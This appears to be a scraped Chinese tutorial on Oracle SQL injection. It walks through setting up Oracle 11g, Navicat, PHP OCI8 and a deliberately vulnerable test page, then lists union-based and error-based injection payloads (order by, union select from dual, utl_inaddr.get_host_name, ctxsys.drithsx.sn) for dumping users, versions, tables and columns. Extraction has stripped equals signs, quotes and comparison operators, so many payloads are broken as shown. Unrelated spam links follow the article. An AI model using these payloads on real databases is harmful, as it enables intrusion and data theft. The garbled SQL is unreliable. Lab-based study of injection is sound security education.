当前位置: 首页 > news >正文

网络建站公司如何做市场兼职网站开发一个月

网络建站公司如何做市场,兼职网站开发一个月,建设工程人力资源网查询平台,设计网站架构SQL注入之Oracle注入 7.1 SQL注入之Oracle环境搭建 前言 Oracle Database#xff0c;又名Oracle RDBMS#xff0c;或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统…SQL注入之Oracle注入 7.1 SQL注入之Oracle环境搭建 前言 Oracle Database又名Oracle RDBMS或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统系统可移植性好、使用方便、功能强适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。 特点 1完整的数据管理功能 2数据的大量性 3数据保存的持久性 4数据的共享性 5数据的可靠性 1.下载Oracle Database 11g Release 2 安装包 Windows环境Win10下安装、配置桌面类Oracle Database 11g Release 2 PS1安装包分为了两个压缩包需要都下载下来才能进行安装 132位64位百度云分享链接及提取码 链接: https://pan.baidu.com/s/1mh7s1nU 密码: 8neh 2.将下载好的两个压缩包解压到database同一个路径下即进行合并 3.点开上图中的database文件夹双击运行setup.exe开始进行安装 4.加载安装程序需要一些时间加载完成后便会出现安装界面如果是在虚拟机的Windows10环境下进行的安装会弹出“环境不满足最低要求”的对话框如出现此窗口则点击“是”进行后续操作 5.首先进行安全更新的配置电子邮件处如果不需要接收Oracle的邮件通知则不填如果没填的话会弹出一个“未指定电子邮箱地址”的窗口如不需要接收其通知则点击“是”进行下一步操作,“安全更新”处如果不需要接收其更新则取消勾选 6.然后进入到“安装选项”的界面选择“创建和配置数据库”在安装完成后会自动进入到数据库的配置界面 7.接下来进入到“系统类”的选择这里选择“桌面类” 8.接下来进入到“典型安装”的配置下面为“典型配置”界面内容的说明 ① “Oracle目录基目录”所有Oracle产品的基目录如果这里进行了修改下面的目录也会相应地自动进行更改目录名称不建议使用中文玄学 ② “软件位置”当前进行安装软件即Oracle Database 11g的安装目录其安装目录不能含空格字符同样不建议使用中文玄学 ③ “数据文件位置”存储数据库内容的位置同样不建议使用中文还是玄学 ④ 关于数据库版本企业版包含了Oracle Database完整功能其他版本的详细说明可以查看Oracle Database 的帮助文档 ⑤ 关于字符集的选择建议选择为UTF-8通用性更好 ⑥ “全局数据库名”启动数据库的名称不超过8个字符 ⑦ “管理口令”启动数据库的口令 注意Oracle官方文档建议口令为只是建议如果是学习用的话可以设置得简单些但要满足最低要求例如设置为“Oracle” ⑧ “确认口令”在此字段再次输入管理口令 9.接下来会进行先决条件的检查如果检查通过则会自动进入到“概要”界面若检查出现错误提示请自行寻找解决方案或者直接选择“忽略” 10.安装需要一些时间耐心等待即可 11.之后会弹出数据库配置窗口Database Configuration Assistant不要点击“确定”或者直接关闭该窗口而是点击“口令管理”因为还需要“口令管理”窗口进行后续配置用户的解锁以及口令的修改 12.进入到管理窗口后需要修改sys,system,scott,sh这四个用户用户的解锁以及口令的修改 下表为Oracle数据库中的主要用户及作用 口令的修改在“新口令”处输入新口令在“确认口令”处再次输入新口令口令不能为空不能超过30个字符且不能为用户名 之后点击“确定“即完成用户的解锁及口令的修改如果口令不满足Oracle建议标准的四个“至少”依旧会弹出警告框若出现则点击“是”继续后续操作 13.之后会回到Database Configuration Assistant窗口点击“确定”进入到“完成”界面 14.启动服务非必选项根据情况来 安装完成后在计算机系统中将出现若干个Oracle服务可以进入到计算机管理界面依次点击“服务和应用程序”、“服务”以查看/管理Oracle 服务具体如何进入到计算机管理界面请自行查询方法这些服务可以都设置为手工启动设置方法为右键需要修改的服务→点击“属性”→在“启动类型”处设置为“手工启动”→点击“确定”,以防其对计算机运行/启动速度造成影响等需要用到Oracle Database时再启动这些服务 15.测试下与Oracle Database的连接 运行SQL Plus 用户名sys/as sysdba [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pS5i9aAq-1691667817115)(C:\Users\linyo\AppData\Roaming\Typora\typora-user-images\image-20230808122755690.png)] 7.2 SQL注入之Navicat连接和Oci8环境搭建 一、Navicat连接数据库 第一步使用SQL Plus语句连接Oracle数据库 请输入用户名: sys/as sysdb 第二步查看数据库版本信息 SQL select * from v$version where rownum1;BANNER -------------------------------------------------------------------------------- Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production第三步创建账号。 SQL create user mc IDENTIFIED BY 123456;用户已创建。赋予权限连接数据库CONNECT、实体创建RESOURCE和管理员DBA GRANT CONNECT, RESOURCE, DBA TO mc;第四步下载Navicat 使用Navicat连接Oracle数据库 解压运行Navicat.exe 测试连接 测试语句 二、Phpstudy调试OCI8扩展服务 OCI8是PHP的扩展组件用以连接和操纵Oracle数据库该名字源于Oracle中’C call interface’ API接口,该API最早在Oracle8中公布。OCI 8 是开源的且已包括在PHP中了。 提前准备工作 查看phpinfo() 确认下载版本下载Oci8和Oracle Client 在WWW中创建info.php文件运行以查看phpinfo信息 ?phpphpinfo(); ?下载对应的oracle客户端, 下载地址: https://www.oracle.com/database/technologies/instant-client/downloads.html 注意根据安装的Oracle版本来上面我们查询过的 11.2.0.1.0 把文件夹中 oci.dll 和 oraocci11.dll 复制到 C:\phpstudy_pro\Extensions\php\php7.3.4nts中 下载OCI8添加扩展 https://windows.php.net/downloads/pecl/releases/oci8/2.2.0/下载oci8版本需要与php版本一致 打开下载文件将php_oci8.dll、php_oci8_11g.dll、 php_oci8_12c.dll 扩展文件复制到PHP安装目录的ext目录下 点击设置点击配置文件打开php配置文件 添加修改数据 extensionoci8_12c , extensionoci8 , extensionpdo_oci 取消前面的 ; ;代表注释的意思 三、测试 配置成功后重启服务查看info.php文件http://localhost/phpinfo.php配置成功则会出现oracle版本号如下图所示 四、Oracle注入漏洞靶场 将Oracle注入的文件sql-test.php复制到指定目录 使用Navicat打开数据库并创建一个简单的demo表 表名 和 数据库名 都必须要大写 CREATE TABLE EASTMOUNT.DEMO ( ID NUMBER NOT NULL , NAME VARCHAR2(20 BYTE) NULL , AGE NUMBER NULL , SEX VARCHAR2(20 BYTE) NULL ) LOGGING NOCOMPRESS NOCACHE ;简单插入一条数据 运行靶场传递id1进行测试 靶场相关环境搭建完毕 7.3 SQL注入之Oracle联合注入 1.注入基本规则 Oracle使用查询语句获取数据时需要跟上表名没有表的情况下可以使用dualdual是Oracle的虚拟表用来构成select的语法规则Oracle保证dual里面永远只有一条记录。Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道)所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据是一致的也可以是使用null代替某些无法快速猜测出数据类型的位置Oracle的单行注释符号是–多行注释符号是/**/ 2.实例注入语句 判断列数 order by 3 -- -------------------------------------------------------判断回显位置 union select null,null,null,unll from dual -- -------------------------------------------------------获取数据库版本信息 select null,(select banner from sys.v_$version where rownum1),null,null from dual -------------------------------------------------------获取数据表名 union select null,table_name,null,null from user_tables where rownum1union select null,(select table_name from user_tables where rownum1),null,null from dual--排除条件 union select null,(select table_name from user_tables where rownum1 and table_nameDEMO),null,null from dual-- -------------------------------------------------------获取关键表中的列名 union select null,column_name,null,null from user_tab_columns where table_nameDEMO--union select null,column_name,null,null from user_tab_columns where table_nameDEMO and rownum1union select null,(select column_name from user_tab_columns where table_nameDEMO and rownum1),null from dual--3.注入流程 寻找注入点基本的步骤就是找到与数据库交互的输入框然后判断这个输入框的数据类型以及它的数据的闭合方式然后添加一些判断语句查看是否存在注入 判断列数 Oracle数据库同样是通过order by 进行查询数据表的列数判断order by必须是select -list表达式的列数在真实环境中一个表的列数可能数目较多因此在列数判断中我们最好使用二分法。 Oracle联合查询 跟之前学习的MySQL一样Oracle同样通过union 来实现联合查询注入 注意因为在Oracle数据库中的select查询语句必须跟上查询列表所以在union后面的select查询语句我们必须跟上from dual dual表是Oracle数据库中自带的虚拟表可当万能表用 信息收集 可以通过回显点收集相关信息 select user from dual 获取用户名 select banner from sys.v_$version where rownum1 获取版本查询表名 和 列名 获取数据 7.4 SQL注入之Oracle报错盲注 1使用utl_inaddr.get_host_name()进行报错注入 作用用于取得局域网或Internet环境中的主机名和IP地址 select utl_inaddr.get_host_name(‘127.0.0.1’) hostname from dual; 1注入语句 id1 and 1utl_inaddr.get_host_name((select user from dual))--使用ctxsys.drithsx.sn()进行报错注入 报错语句 1 and 1ctxsys.drithsx.sn(1,(select user from dual))--CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum1))and 1ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum1))ctxsys.drithsx.sn(mc,(查询函数))--1这里为什么需要1呢是因为Oracle的语言严谨where后面跟的都是条件单独的字符串不能作为条件比较才能作为条件存在的字段名等于这个字符串也可以作为条件 rownum 1select * from demo rownum 3 ; 为什么第一个查询有返回值第二个查询只是将ROWNUM2就没有值返回。 ROWNUM是一个伪列。该值在被读入cache中时被分配了一个值。每次查询该值都可能变化。同样的一行记录可能由于读入cache中的行数不同而导致ROWNUM不同。 同样一行的rownum根据查询返回值的不同而不同。在任何情况下只有当rownum1返回之后才能够返回rownum2。如果查询rownum大于1的值如rownum3则是无效的总是返回No Rows Selected的信息。
http://www.huolong8.cn/news/213706/

相关文章:

  • 网站,商城,app 建设重庆一次可以备案多少个网站
  • asp网站建设流程山东省建设安全生产协会网站
  • 如何搭建情侣网站网络科技公司可以去吗
  • 论网站建设情况电商网站建设好么
  • 做网站数据库设计线上推广的意义
  • 中国建设银行官网站公积金预约网站你懂我意思正能量app
  • 大的网站建设公司好个人公司网页如何设计
  • 国外手机网站模板郑州做网站比较专业的机构
  • wordpress站点进入时弹窗wordpress还原数据库
  • 泉州网站建设优化公司吴江区经济开发区建设工程网站
  • 策划一个网站软件开发培训it培训哪个好
  • 网站建设登录结构图不花钱的免费永久云服务器平台
  • 网站做反向代理对百度收录有影响吗做外贸出口衣服的网站
  • 用域名建设网站淄博汽车网站建设
  • 哈尔滨 做网站公司哪家好服务公司名字大全
  • 学校网站建设内容wordpress主题小程序
  • 湖南省建设厅官方网站官网免费建立个人文章网站
  • 学网站开发哪个好网站开发 无代码
  • 网站关键词优化难不难那些网站分享pr做的视频软件
  • 网站域名代备案网页制作是干什么的
  • 保山做网站建设wordpress的404页面如何做
  • .net 网站开发工程师社交网站做强
  • wordpress网站搭建教程wordpress html5插件
  • 网站服务费怎么做凭证文成网站制作
  • 怎么建设网站数据库个人网站百度推广收费
  • jeecg 3.7 网站开发哈尔滨公司网站
  • 自己的电脑做网站做珠宝网站
  • 郑州网站竞价托管wordpress无法置顶
  • 班级网站怎么做网页制作南通网站设计专家
  • 义乌市场官方网站网站的特效代码